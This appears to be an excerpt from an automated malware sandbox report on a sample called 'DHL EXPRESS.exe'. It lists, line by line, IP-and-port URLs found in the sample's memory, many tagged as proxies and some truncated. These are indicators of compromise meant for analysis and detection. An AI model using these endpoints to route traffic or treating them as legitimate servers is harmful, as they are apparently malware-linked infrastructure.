Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.223:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.252.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.252.137:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.252.137:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.252.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.252.4.49:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.252.4.49:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.49.49.11
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.49.49.11:31034
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.49.49.11:31034://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.119.147.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.119.147.209:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.119.147.209:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.62.179.122:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.62.179.122:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.154:47344
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.154:47344://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:38023
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:38023://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:61344
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:61344://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:61553
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:61553://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.89.101.63
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB46A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.89.101.63://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.89.101.63:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.233.5.68:55443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.233.5.68:55443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.237.28.191:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.242.24.241:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.242.24.241:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.37.132.129:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.37.132.129:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.37.155.85:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.37.155.85:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.23.18
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.23.181:38817
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.23.181:38817://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.23.181:38817p
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.244.78
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.244.78://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.244.78:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.68.100.177
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.68.100.177://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.68.100.177:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.77.64.116:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.77.64.116:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.91.74.77:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.142.234.35:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.142.234.35:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB323000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB38C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.90.252.7:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB32E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.90.252.7:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.106.228.212:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.119.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.119.177:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.119.177:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.119.181:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.119.181:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.196.145:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.196.145:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.202.131:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.202.131:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.52.252:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.52.252:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.122.230.20:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.122.230.20:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB425000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.177.29:21972
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.143.177.29:21972://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.7.10
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.7.101.98:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.7.101.98:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.130.39.117:3389
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.130.39.117:3389://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.142.132.204:18080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.142.132.204:18080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.209.255.13:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.209.255.13:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.150.195:26666
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.150.195:26666://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.58.56
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.58.56://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.58.56:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.8.157
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.8.157:19001
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.210.8.157:19001://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.211.4.215
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.211.4.215://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.211.4.215:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.9
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:444
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:444://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:4506
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:4506://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:7779
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:7779://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:808
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.213.128.90:808://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.218.100.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.218.100.120:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.218.100.120:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.219.97.248
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.219.97.248://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.219.97.248:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.152.158:55555
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.152.158:55555://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.239.209
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.239.209://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.239.209:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.178.5:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.178.5:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.8
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.85.6:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.242.85.6:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC87A000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.243.126.230:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.243.126.230:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.39.228.25:39593
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.39.228.25:39593://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.228.235.6:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.241.44.3
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.241.44.34:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.241.44.34:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB4C5000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.251.219.40:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB4D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.251.219.40:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.65.28.57
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.65.28.57:30962
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.65.28.57:30962://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.72.68.24
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.72.68.247:8082
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.72.68.247:8082://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.78.6
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.78.64.70:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.78.64.70:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.82.147.1:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.82.147.1:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADCB9000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.85.98.110:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.85.98.110:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD993000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.87.200.140:9050
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADDEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.87.200.140:9050://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC6EB000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.91.125.238:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC716000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.91.125.238:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.12.104.43:3629
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.12.104.43:3629://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.12.119.171:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.12.119.171:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.134.57.82:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.161.236.152:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.161.236.152:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.17.94.50:34300
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.17.94.50:34300://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.177.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.177.6.68:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.177.6.68:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.19.3.249:10080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.19.3.249:10080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.199.14.49:1088
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.199.14.49:1088://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.21.82.116:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.21.82.116:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.250.223.126:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.38.223.126:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.44.83.70:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.91.157.134:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.91.157.134:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.113.157.122:31280
